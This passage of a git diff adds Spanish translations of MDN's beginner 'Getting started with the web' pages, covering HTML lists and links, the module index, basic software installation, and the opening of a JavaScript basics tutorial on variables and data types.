+<p>Por ejemplo, si quieres transformar parte del siguiente párrafo en una lista:</p>
+
+<pre class="notranslate">&lt;p&gt;En Mozilla, somos una comunidad de tecnólogos, pensadores, y constructores que trabajan juntos... &lt;/p&gt;</pre>
+
+<p>Podrías hacer lo siguiente:</p>
+
+<pre class="notranslate">&lt;p&gt;En Mozilla, somos una comunidad de&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;tecnólogos&lt;/li&gt;
+  &lt;li&gt;pensadores&lt;/li&gt;
+  &lt;li&gt;constructores&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;trabajando juntos... &lt;/p&gt;</pre>
+
+<p>Intenta agregar una lista ordenada o desordenada en tu página de ejemplo<strong>.</strong></p>
+
+<h2 id="Vínculos">Vínculos</h2>
+
+<p>Los vínculos o enlaces son muy importantes —son los que hacen de la web, la web—. Para implementar un vínculo, necesitas usar un vínculo simple — {{htmlelement("a")}} — la <em>a</em> es la abreviatura de la palabra inglesa «anchor» («<em>ancla</em>»). Para convertir algún texto dentro de un párrafo en un vínculo, sigue estos pasos:</p>
+
+<ol>
+ <li>Elige algún texto. Nosotros elegimos «Manifesto Mozilla».</li>
+ <li>Encierra el texto en un elemento &lt;a&gt;, así:
+  <pre class="notranslate">&lt;a&gt;Manifesto Mozilla&lt;/a&gt;</pre>
+ </li>
+ <li>Proporciónale al elemento &lt;a&gt; un atributo href, así:
+  <pre class="notranslate">&lt;a href=""&gt;Manifesto Mozilla&lt;/a&gt;</pre>
+ </li>
+ <li>Completa el valor de este atributo con la dirección web con la que quieras conectar al vínculo:
+  <pre class="notranslate">&lt;a href="https://www.mozilla.org/es-AR/about/manifesto/"&gt;Manifesto Mozilla&lt;/a&gt;</pre>
+ </li>
+</ol>
+
+<p>Podrías obtener resultados inesperados si al comienzo de la dirección web omites la parte <code>https://</code> o <code>http://</code> llamada <em>protocolo</em>. Así que luego del marcado del vínculo, haz clic en él para asegurarte que te dirige a la dirección deseada.</p>
+
+<div class="blockIndicator note">
+<p><code>href</code> podría parecer, en principio, una opción un tanto oscura para un nombre de atributo. Si tienes problemas para recordarla, recuerda que se refiere a <em><strong>h</strong>ypertext <strong>ref</strong>erence</em> (referencia de hipertexto).</p>
+</div>
+
+<p>Ahora agrega un vínculo a tu página, si es que aún no lo hiciste.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Si lograste seguir todas las instrucciones de este artículo, deberías terminar con una página que se vea así (también puedes <a href="http://mdn.github.io/beginner-html-site/">verla aquí</a>):<br>
+ <br>
+ <img alt="Una captura de pantalla de la página web que muestra el logo de Firefox, un encabezado que dice «mozilla es genial» y dos párrafos de texto de relleno." src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p>
+
+<p>Si te estancas en algún paso, puedes comparar tu trabajo con el <a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">código de ejemplo terminado</a> en Github.</p>
+
+<p>Aquí realmente solo has rasguñado la superficie de HTML. Para aprender más, ve a la <a href="/es/Learn/HTML">página de Aprendizaje HTML</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics","Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/es/learn/getting_started_with_the_web/index.html b/files/es/learn/getting_started_with_the_web/index.html
new file mode 100644
index 0000000000..05cadcde6c
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/index.html
@@ -0,0 +1,68 @@
+---
+title: Primeros pasos en la Web
+slug: Learn/Getting_started_with_the_web
+tags:
+  - CSS
+  - Diseño
+  - Guía
+  - HTML
+  - Index
+  - Novato
+  - Principiante
+  - edición
+  - editor
+  - 'l10n:priority'
+  - teoria
+  - Índice
+translation_of: Learn/Getting_started_with_the_web
+---
+<div>{{LearnSidebar}}</div>
+
+<div class="summary">
+<p><em>Introducción a la Web</em> es una serie concisa que te presenta los aspectos prácticos del desarrollo web. Configurarás las herramientas que necesitas para construir una sencilla página web y publicar tu propio código.</p>
+</div>
+
+<h2 id="La_historia_de_tu_primer_sitio_web">La historia de tu primer sitio web</h2>
+
+<p>Es mucho trabajo crear un sitio web profesional, así que si eres nuevo en el desarrollo web, te animamos a que empieces poco a poco. No crearás otro Facebook de inmediato, pero no es difícil tener tu propio sitio web sencillo en línea, así que comenzaremos por ahí.</p>
+
+<p>Al trabajar en orden a través de los artículos que se enumeran a continuación, pasarás de la nada a tener tu primera página web en línea. ¡Comencemos nuestro viaje!</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webInstalling_basic_softwareInstalación_de_software_básico">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Installing_basic_software","Instalación de software básico")}}</h3>
+
+<p>Cuando se trata de herramientas para crear un sitio web, hay mucho para elegir. Si recién estás comenzando, es posible que te sientas confundido por la variedad de editores de código, marcos de desarrollo y herramientas de prueba que existen. En {{web.link("/es/docs/Learn/Getting_started_with_the_web/Installing_basic_software", "Instalación de software básico")}}, te mostramos paso a paso cómo instalar solo el software que necesitas para comenzar un desarrollo web básico.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webWhat_will_your_website_look_like¿Cuál_será_la_apariencia_de_tu_sitio_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like","¿Cuál será la apariencia de tu sitio web?")}}</h3>
+
+<p>Antes de comenzar a escribir el código para tu sitio web, primero lo debes planificar. ¿Qué información estás mostrando?, ¿qué fuentes y colores estás usando?, en {{web.link("/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like", "¿cuál será la apariencia de tu sitio web?")}}, describimos un método simple que puedes seguir para planificar el contenido y modelado de tu sitio.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webDealing_with_filesManejo_de_archivos">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Dealing_with_files","Manejo de archivos")}}</h3>
+
+<p>Un sitio web consta de muchos archivos: texto del contenido, código, hojas de estilo, contenido multimedia, etc. Cuando estás creando un sitio web, necesitas ensamblar estos archivos en una estructura sensata y asegurarte de que se puedan comunicar entre sí. {{web.link("/es/docs/Learn/Getting_started_with_the_web/Dealing_with_files", "Manejo de archivos")}} explica cómo configurar una estructura de archivos sensible para tu sitio web y qué problemas debes tener en cuenta.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webHTML_basicsConceptos_básicos_de_HTML">{{web.link("/es/docs/Learn/Getting_started_with_the_web/HTML_basics","Conceptos básicos de HTML")}}</h3>
+
+<p>El lenguaje de marcado de hipertexto (HTML) es el código que utilizas para estructurar tu contenido web y darle significado y propósito. Por ejemplo, ¿mi contenido es un conjunto de párrafos o una lista de viñetas?, ¿tengo imágenes insertadas en mi página?, ¿tengo una tabla de datos?; Sin abrumarte, {{web.link("/es/docs/Learn/Getting_started_with_the_web/HTML_basics", "conceptos básicos de HTML")}} proporciona suficiente información para familiarizarte con HTML.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webCSS_basicsConceptos_básicos_de_CSS">{{web.link("/es/docs/Learn/Getting_started_with_the_web/CSS_basics","Conceptos básicos de CSS")}}</h3>
+
+<p>Hojas de estilo en cascada (CSS) es el código que utilizas para aplicar estilo a tu sitio web. Por ejemplo, ¿desea que el texto sea negro o rojo?, ¿dónde se debe dibujar el contenido en la pantalla?, ¿qué imágenes de fondo y colores se deben utilizar para decorar tu sitio web?, {{web.link("/es/docs/Learn/Getting_started_with_the_web/CSS_basics", "Conceptos básicos de CSS")}} te indica lo que necesitas para empezar.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webJavaScript_basicsConceptos_básicos_de_JavaScript">{{web.link("/es/docs/Learn/Getting_started_with_the_web/JavaScript_basics","Conceptos básicos de JavaScript")}}</h3>
+
+<p>JavaScript es el lenguaje de programación que utilizas para agregar funciones interactivas a tu sitio web. Algunos ejemplos podrían ser juegos, cosas que suceden cuando se presionan botones o se ingresan datos en formularios, efectos de estilo dinámico, animación y mucho más. {{web.link("/es/docs/Learn/Getting_started_with_the_web/JavaScript_basics", "Conceptos básicos de JavaScript")}} te da una idea de lo que es posible con este interesante lenguaje y cómo empezar.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webPublishing_your_websitePublicar_tu_sitio_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Publishing_your_website","Publicar tu sitio web")}}</h3>
+
+<p>Una vez que hayas terminado de escribir el código y organizado los archivos que componen tu sitio web, lo debes poner todo en línea para que la gente lo pueda encontrar. {{web.link("/es/docs/Learn/Getting_started_with_the_web/Publishing_your_website", "Publica tu código de ejemplo")}} describe cómo publicar tu código de ejemplo en línea con el mínimo esfuerzo.</p>
+
+<h3 id="web.linkesdocsLearnGetting_started_with_the_webHow_the_Web_worksCómo_funciona_la_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/How_the_Web_works","Cómo funciona la web")}}</h3>
+
+<p>Cuando accedes a tu sitio web favorito, suceden muchas cosas complicadas en segundo plano que quizás no conozcas. {{web.link("/es/docs/Learn/Getting_started_with_the_web/How_the_Web_works", "Cómo funciona la web")}} describe lo que sucede cuando ves una página web en tu dispositivo favorito.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">La web desmitificada</a>: Una gran serie de videos que explican los fundamentos de la web, dirigida a completamente novatos en el desarrollo web. Creada por <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>.</li>
+ <li>{{web.link("/es/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards", "La web y sus estándares")}}: Este artículo proporciona algunos útiles antecedentes sobre la web: cómo surgió, qué son las tecnologías web estándar, cómo trabajan juntas, por qué "desarrollador web" es una gran carrera para elegir y qué tipo de mejores prácticas aprenderás a través del curso.</li>
+</ul>
diff --git a/files/es/learn/getting_started_with_the_web/instalacion_de_software_basico/index.html b/files/es/learn/getting_started_with_the_web/instalacion_de_software_basico/index.html
new file mode 100644
index 0000000000..84ffdcf666
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/instalacion_de_software_basico/index.html
@@ -0,0 +1,83 @@
+---
+title: Instalación de software básico
+slug: Learn/Getting_started_with_the_web/Instalacion_de_software_basico
+tags:
+  - Aprender
+  - Configuración
+  - Herramientas
+  - Navegadores
+  - Novato
+  - Principiantes
+  - aprende
+  - buscador
+  - editor de textos
+  - instalar
+  - 'l10n:priority'
+translation_of: Learn/Getting_started_with_the_web/Installing_basic_software
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>La <em>Instalación de software básico</em>, te muestra las herramientas que necesitas para hacer el desarrollo web simple, y la forma de instalarlas correctamente.</p>
+</div>
+
+<h2 id="¿Qué_herramientas_usan_los_profesionales">¿Qué herramientas usan los profesionales?</h2>
+
+<ul>
+ <li><strong>Una computadora</strong>. Tal vez esto suena obvio para algunas personas, pero habrá quien esté leyendo este artículo desde el móvil o una computadora de biblioteca. Para el desarrollo web serio, es mejor invertir en un equipo de escritorio o portátil con Windows, Mac o Linux.</li>
+ <li><strong>Un editor de texto</strong>, para escribir código. Puedes usar un editor de texto libre (ej. <a href="http://brackets.io/">Brackets</a>, <a href="https://atom.io/">Atom</a>, <a href="https://notepad-plus-plus.org/">Notepad++</a>, <a href="https://www.sublimetext.com/">Sublime Text</a>, <a href="https://www.gnu.org/software/emacs/">GNU Emacs</a>, <a href="https://www.vim.org/">VIM</a>, <a href="https://code.visualstudio.com/">Visual Studio Code</a>, <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>) o un editor híbrido (<a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver</a>). Los editores de documentos de oficina no son adecuados para esto, pues dependen de elementos ocultos que interfieren con los motores de renderizado usados por los navegadores.</li>
+ <li><strong>Navegadores web</strong>, para probar el código. Actualmente los navegadores más usados son <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, <a href="https://vivaldi.com/es/">Vivaldi</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> y <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>. También debes comprobar cómo funciona tu web en dispositivos móviles y en cualquier navegador antiguo que tu público objetivo pueda estar usando aún (tal como IE 6–8.)</li>
+ <li><strong>Un editor de gráficos o imágenes</strong>, como <a href="http://www.gimp.org/">GIMP</a>, <a href="http://www.getpaint.net/">Paint.NET</a> o <a href="https://www.adobe.com/products/photoshop.html">Photoshop</a>, para crear imágenes para tus páginas web.</li>
+ <li><strong>Un sistema de control de versiones</strong>, para administrar archivos en servidores, colaborar en un proyecto con un equipo, compartir código y recursos, y evitar conflictos de edición. Hoy en día <a href="http://git-scm.com/">Git</a> es el sistema de control de versiones más popular y el servicio de alojamiento de código <a href="https://github.com/">GitHub</a>, basado en Git, también es muy popular.</li>
+ <li><strong>Un programa de FTP</strong>, para cargar páginas web en un servidor para el público (Git está reemplazando cada vez más a FTP para ese fin). Hay un montón de estos programas disponibles incluyendo <a href="https://cyberduck.io/">Cyberduck</a>, <a href="http://fetchsoftworks.com/">Fetch</a> y <a href="https://filezilla-project.org/">FileZilla</a>.</li>
+ <li><strong>Un sistema de automatización</strong>, como <a href="http://gruntjs.com/">Grunt</a> o <a href="http://gulpjs.com/">Gulp</a> para realizar tareas repetitivas de forma automática, por ejemplo minimización de código y ejecución de pruebas.</li>
+ <li>Bibliotecas, marcos de desarrollo (<code>frameworks</code>), etc., para acelerar la escritura de funciones comunes. Una biblioteca tiende a ser un archivo JavaScript o CSS existente que proporciona una funcionalidad lista para usar para que la utilices en tu código. Un framework tiende a llevar esta idea más allá, ofreciendo un sistema completo con alguna sintaxis personalizada para que puedas escribir una aplicación web basada en él.</li>
+ <li>¡Muchas más herramientas!</li>
+</ul>
+
+<h2 id="Ahora_mismo_¿qué_herramientas_necesitas_realmente">Ahora mismo: ¿qué herramientas necesitas realmente?</h2>
+
+<p>Esto parece una lista espeluznante pero, afortunadamente, puedes comenzar a trabajar en el desarrollo web sin saber nada de la mayoría de estas herramientas. En este artículo solo tendrás que configurar lo mínimo: un editor de texto y algunos navegadores web modernos.</p>
+
+<h3 id="Instalación_de_un_editor_de_texto">Instalación de un editor de texto</h3>
+
+<p>Probablemente ya tengas un editor de texto básico instalado en tu computadora. De manera predeterminada Windows incluye el {{Interwiki("wikipedia", "Bloc de notas")}} y OS X viene con {{Interwiki("wikipedia", "TextEdit")}}. Las <em>distros</em> (versiones) de Linux varían: Ubuntu viene con {{Interwiki("wikipedia", "Gedit")}}; distribuciones basadas en KDE suelen traer <a href="http://kate-editor.org/">Kate</a> o <a href="https://es.wikipedia.org/wiki/KWrite">Kwrite</a>.</p>
+
+<p>Para el desarrollo Web, probablemente hay cosas mejores que el Bloc de notas o TextEdit. Una recomendación puede ser empezar con <a href="http://brackets.io">Brackets</a>, un editor gratuito que ofrece vistas previas en vivo y sugerencias de código.</p>
+
+<h3 id="Instalación_de_navegadores_web_modernos">Instalación de navegadores web modernos</h3>
+
+<p>Por ahora, solo tendrás que instalar un par de navegadores web de escritorio para poner a prueba tu código. Selecciona tu sistema operativo y pulsa los enlaces pertinentes para descargar los instaladores de tus navegadores preferidos:</p>
+
+<ul>
+ <li>Linux: <a href="https://www.mozilla.org/es-ES/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/es/">Opera</a>, <a href="https://vivaldi.com/es/">Vivaldi</a>.</li>
+ <li>Windows: <a href="https://www.mozilla.org/es-ES/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/es/">Opera</a>, <a href="https://vivaldi.com/es/">Vivaldi</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> (si tienes Windows 8 o superior, puedes instalar IE 10 o posterior, de lo contrario, deberías instalar un navegador alternativo).</li>
+ <li>Mac: <a href="https://www.mozilla.org/es-ES/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/es/">Opera</a>, <a href="https://vivaldi.com/es/">Vivaldi</a>, <a href="https://www.apple.com/safari/">Safari</a> (Safari de manera predeterminada viene con iOS y OS X)</li>
+</ul>
+
+<p>Antes de continuar, deberías instalar al menos dos de estos navegadores y tenerlos disponibles para pruebas.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Internet Explorer no es compatible con algunas funciones web modernas y es posible que no puedas ejecutar tu proyecto. Por lo general, no necesitas preocuparte por hacer que tus proyectos web sean compatibles con él, ya que muy pocas personas todavía lo usan; ciertamente, no te preocupes demasiado por él mientras aprendes. En ocasiones, es posible que te encuentres con un proyecto que requiera soporte.</p>
+</div>
+
+<h3 id="Instalación_de_un_servidor_web_local">Instalación de un servidor web local</h3>
+
+<p>Algunos ejemplos necesitarás ejecutarlos a través de un servidor web para que funcionen exitosamente. Puedes encontrar cómo hacer esto en {{web.link("/es/docs/Learn/Common_questions/set_up_a_local_testing_server", "¿Cómo se configura un servidor de prueba local?")}}</p>
+
+<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li id="Instalacion_de_software_basico">{{web.link("/es/Learn/Getting_started_with_the_web/Instalacion_de_software_basico", "Instalación de software básico")}}</li>
+ <li id="Como_se_vera_tu_sitio_web">{{web.link("/es/Learn/Getting_started_with_the_web/What_will_your_website_look_like", "¿Cómo se verá tu sitio web?")}}</li>
+ <li id="Manejo_de_archivos">{{web.link("/es/Learn/Getting_started_with_the_web/Manejando_los_archivos", "Manejo de archivos")}}</li>
+ <li id="Conceptos_basicos_de_HTML">{{web.link("/es/Learn/Getting_started_with_the_web/HTML_basics", "Conceptos básicos de HTML")}}</li>
+ <li id="Conceptos_basicos_de_CSS">{{web.link("/es/Learn/Getting_started_with_the_web/CSS_basics", "Conceptos básicos de CSS")}}</li>
+ <li id="Conceptos_basicos_de_JavaScript">{{web.link("/es/Learn/Getting_started_with_the_web/JavaScript_basics", "Conceptos básicos de JavaScript")}}</li>
+ <li id="Publicar_tu_sitio_web">{{web.link("/es/Learn/Getting_started_with_the_web/Publishing_your_website", "Publicar tu sitio web")}}</li>
+ <li id="Como_funciona_la_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Cómo_funciona_la_Web", "Cómo funciona la Web")}}</li>
+</ul>
diff --git a/files/es/learn/getting_started_with_the_web/javascript_basics/index.html b/files/es/learn/getting_started_with_the_web/javascript_basics/index.html
new file mode 100644
index 0000000000..78fa13eccb
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/javascript_basics/index.html
@@ -0,0 +1,456 @@
+---
+title: Fundamentos de JavaScript
+slug: Learn/Getting_started_with_the_web/JavaScript_basics
+tags:
+  - Aprender
+  - CodingScripting
+  - JavaScript
+  - Novato
+  - Principiante
+  - Web
+  - 'l10n:priority'
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext( "Learn/Getting_started_with_the_web/CSS_basics","Learn/Getting_started_with_the_web/Publishing_your_website","Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>JavaScript es el lenguaje de programación que debes usar para añadir características interactivas a tu sitio web, (por ejemplo, juegos, eventos que ocurren cuando los botones son presionados o los datos son introducidos en los formularios, efectos de estilo dinámicos, animación, y mucho más). Este artículo te ayudará a comenzar con este lenguaje extraordinario y te dará una idea de qué es posible hacer con él.</p>
+</div>
+
+<h2 id="¿Qué_es_JavaScript_realmente">¿Qué es JavaScript realmente?</h2>
+
+<p>{{Glossary("JavaScript")}} es un robusto lenguaje de programación que se puede aplicar a un documento {{Glossary("HTML")}} y usarse para crear interactividad dinámica en los sitios web. Fue inventado por Brendan Eich, cofundador del proyecto Mozilla, Mozilla Foundation y la Corporación Mozilla.</p>
+
+<p>Puedes hacer casi cualquier cosa con JavaScript. Puedes empezar con pequeñas cosas como carruseles, galerías de imágenes, diseños fluctuantes, y respuestas a las pulsaciones de botones. Con más experiencia, serás capaz de crear juegos, animaciones 2D y gráficos 3D, aplicaciones integradas basadas en bases de datos ¡y mucho más!</p>
+
+<p>JavaScript por sí solo es bastante compacto aunque muy flexible, y los desarrolladores han escrito gran cantidad de herramientas encima del núcleo del lenguaje JavaScript, desbloqueando una gran cantidad de funcionalidad adicional con un mínimo esfuerzo. Esto incluye:</p>
+
+<ul>
+ <li>Interfaces de Programación de Aplicaciones del Navegador ({{Glossary("API","APIs")}}) — APIs construidas dentro de los navegadores que ofrecen funcionalidades como crear dinámicamente contenido HTML y establecer estilos CSS, hasta capturar y manipular un vídeo desde la cámara web del usuario, o generar gráficos 3D y muestras de sonido.</li>
+ <li>APIs de terceros, que permiten a los desarrolladores incorporar funcionalidades en sus sitios de otros proveedores de contenidos como Twitter o Facebook.</li>
+ <li>Marcos de trabajo y librerías de terceros que puedes aplicar a tu HTML para que puedas construir y publicar rápidamente sitios y aplicaciones.</li>
+</ul>
+
+<p>Ya que se supone que este artículo es solo una introducción ligera a JavaScript, la intención no es confundirte en esta etapa hablando en detalle sobre cuál es la diferencia entre el núcleo del lenguaje JavaScript y las diferentes herramientas listadas arriba. Puedes aprender todo eso en detalle más tarde, en el <a href="/es/docs/Learn/JavaScript">Área de Aprendizaje en MDN</a>, y en el resto de MDN.</p>
+
+<p>Debajo se presentan algunos aspectos del núcleo del lenguaje y también jugarás con unas pocas características de la API del navegador. ¡Diviértete!</p>
+
+<h2 id="Ejemplo_«¡Hola_Mundo!»">Ejemplo «<em>¡Hola Mundo!</em>»</h2>
+
+<p>La sección de arriba suena realmente emocionante, y debería serlo. JavaScript es una de las tecnologías web más emocionantes, y cuando comiences a ser bueno en su uso, tus sitios web entrarán en una nueva dimensión de energía y creatividad.</p>
+
+<p>Sin embargo, sentirse cómodo con JavaScript es un poco más difícil que sentirse cómodo con HTML y CSS. Deberás comenzar poco a poco y continuar trabajando en pasos pequeños y consistentes. Para comenzar, mostraremos cómo añadir JavaScript básico a tu página, creando un «<em>¡Hola Mundo!</em>» de ejemplo (<a href="https://es.wikipedia.org/wiki/Hola_mundo">el estándar en los ejemplos básicos de programación</a>).</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: si no has venido siguiendo el resto de nuestro curso, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">descarga este código de ejemplo</a> y úsalo como punto de partida.</p>
+</div>
+
+<ol>
+ <li>Primero, ve a tu sitio de pruebas y crea una carpeta llamada <code>scripts</code>. Luego, dentro de la nueva carpeta de scripts, crea un nuevo archivo llamado <code>main.js</code> y guárdalo.</li>
+ <li>A continuación, abre tu archivo <code>index.html</code> e introduce el siguiente código en una nueva línea, justo antes de la etiqueta de cierre <code>&lt;/body&gt;</code>:
+  <pre class="brush: html notranslate"><font><font>&lt;script src="scripts/main.js"&gt;&lt;/script&gt;</font></font></pre>
+ </li>
+ <li>Esto hace básicamente el mismo trabajo que el elemento {{htmlelement("link")}} para CSS: aplica el código JavaScript a la página, para que pueda actuar sobre el HTML (y CSS, o cualquier cosa en la página).</li>
+ <li>Ahora añade el siguiente código al archivo <code>main.js</code>:
+  <pre class="brush: js notranslate">const miTitulo = document.querySelector('h1');
+miTitulo.textContent = '¡Hola mundo!';</pre>
+ </li>
+ <li>Finalmente, asegúrate de que has guardado los archivos HTML y JavaScript, y abre <code>index.html</code> en el navegador. Deberías ver algo así: <img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: la razón por la que has puesto el elemento {{htmlelement("script")}} casi al final del documento HTML es porque <strong>el navegador carga el HTML en el orden en que aparece en el archivo</strong>.</p>
+
+<p>Si se cargara primero JavaScript y se supone que debe afectar al HTML que tiene debajo, podría no funcionar, ya que ha sido cargado antes que el HTML sobre el que se supone debe trabajar. Por lo tanto, colocar el JavaScript cerca del final de la página es normalmente la mejor estrategia. Para aprender más sobre enfoques alternativos, mira <a href="/es/docs/Learn/JavaScript/First_steps/Qué_es_JavaScript#Estrategias_de_carga_de_scripts">Estrategias de carga de scripts</a>.</p>
+</div>
+
+<h3 id="¿Qué_ha_ocurrido">¿Qué ha ocurrido?</h3>
+
+<p>El texto del título ha sido cambiado por <em>¡Hola mundo!</em> usando JavaScript. Hiciste esto primero usando la función <code>{{domxref("Document.querySelector", "querySelector()")}}</code> para obtener una referencia al título y almacenarla en una variable llamada <code>miTitulo</code>. Esto es muy similar a lo que hiciste con CSS usando selectores —quieres hacer algo con un elemento, así que tienes que seleccionarlo primero—.</p>
+
+<p>Después de eso, estableciste el valor de la propiedad {{domxref("Node.textContent", "textContent")}} de la variable <code>miTitulo</code> (que representa el contenido del título) como <em>¡Hola mundo!</em></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las dos características que has utilizado en este ejercicio forman parte de la API del <a href="/es/docs/Web/API/Document_Object_Model">Modelo de Objeto de Documento (DOM)</a>, que tiene la capacidad de manipular documentos.</p>
+</div>
+
+<h2 id="Curso_intensivo_de_fundamentos_del_lenguaje">Curso intensivo de fundamentos del lenguaje</h2>
+
+<p>Ahora se explicarán algunas de las funciones básicas del lenguaje JavaScript para que puedas comprender mejor cómo funciona todo. Mejor aún, estas características son comunes para todos los lenguajes de programación. Si puedes entender esos fundamentos, deberías ser capaz de comenzar a programar en casi cualquier cosa.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: en este artículo, trata de introducir las líneas de código de ejemplo en la consola de tu navegador para ver lo que sucede. Para más detalles sobre consolas JavaScript, mira <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">Descubre las herramientas de desarrollo de los navegadores</a>.</p>
+</div>
+
+<h3 id="Variables">Variables</h3>
+
+<p>Las {{Glossary("Variable", "Variables")}} son contenedores en los que puedes almacenar valores. Primero debes declarar la variable con la palabra clave <code><a href="/es/docs/Web/JavaScript/Reference/Statements/var">var</a></code> (menos recomendado) o <code><a href="/es/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, seguida del nombre que le quieras dar. Se recomienda más el uso de <code>let</code> que de <code>var</code> (más adelante se profundiza un poco sobre esto):</p>
+
+<pre class="brush: js notranslate">let nombreDeLaVariable;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: todas las líneas en JS deben acabar en punto y coma (;) para indicar que es ahí donde termina la declaración. Si no los incluyes puedes obtener resultados inesperados. Sin embargo, algunas personas creen que es una buena práctica tener punto y coma al final de cada declaración. Hay otras reglas para cuando se debe y no se debe usar punto y coma. Para más detalles, vea <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">Guía del punto y coma en JavaScript</a> (en inglés).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: puedes llamar a una variable con casi cualquier nombre, pero hay algunas restricciones (ver <a href="/es/docs/Web/JavaScript/Guide/Grammar_and_Types#Variables">este artículo sobre las reglas existentes</a>). Si no estás seguro, puedes <a href="https://mothereff.in/js-variables">comprobar el nombre de la variable</a> para ver si es válido.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: JavaScript distingue entre mayúsculas y minúsculas. <code>miVariable</code> es una variable distinta a <code>mivariable</code>. Si estás teniendo problemas en tu código, revisa las mayúsculas y minúsculas.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: para más detalles sobre la diferencia entre <code>var</code> y <code>let</code>, vea <a href="/es/docs/Learn/JavaScript/First_steps/Variables#Diferencia_entre_var_y_let">Diferencia entre var y let</a>.</p>
+</div>
+
+<p>Tras declarar una variable, puedes asignarle un valor:</p>
+
+<pre class="brush: js notranslate">nombreDeLaVariable = 'Bob';</pre>
+
+<p>Puedes hacer las dos cosas en la misma línea si lo necesitas:</p>
+
+<pre class="brush: js notranslate">let nombreDeLaVariable = 'Bob';</pre>
+
+<p>Puedes obtener el valor de la variable llamándola por su nombre:</p>
+
+<pre class="brush: js notranslate">nombreDeLaVariable;</pre>
+
+<p>Después de haberle dado un valor a la variable, puedes volver a cambiarlo:</p>
+
+<pre class="brush: js notranslate">let nombreDeLaVariable = 'Bob';
+nombreDeLaVariable = 'Steve';</pre>
+
+<p>Advierte que las variables tienen distintos <a href="/es/docs/Web/JavaScript/Data_structures">tipos de datos</a>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Variable</th>
+   <th scope="col">Explicación</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{Glossary("String","String")}}</th>
+   <td>Esto es una secuencia de texo conocida como cadena. Para indicar que la variable es una cadena, debes escribirlo entre comillas.</td>
+   <td><code>let miVariable = 'Bob';</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Number")}}</th>
+   <td>
+    <p>Esto es un número. Los números no tienen comillas.</p>
+   </td>
+   <td><code>let miVariable = 10;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Boolean")}}</th>
+   <td>Tienen valor verdadero/falso. <code>true</code>/<code>false</code> son palabras especiales en JS, y no necesitan comillas.</td>
